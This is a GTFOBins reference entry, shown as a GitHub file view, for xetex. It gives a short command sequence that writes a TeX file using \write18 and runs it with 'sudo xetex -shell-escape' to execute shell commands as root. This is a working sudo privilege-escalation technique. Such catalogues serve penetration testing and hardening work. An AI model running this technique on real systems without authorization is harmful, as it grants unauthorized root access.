GTFOBins.github.io/_gtfobins/xetex.md

6 lines
224 B
Markdown
Raw Normal View History

2021-04-22 22:15:18 +02:00
functions:
sudo:
- code: |
echo "\documentclass[12pt]{article} \begin{document} \immediate\write18{/usr/bin/whoami} \end{document}" > file.tex
sudo xetex -interaction=nonstopmode -shell-escape file.tex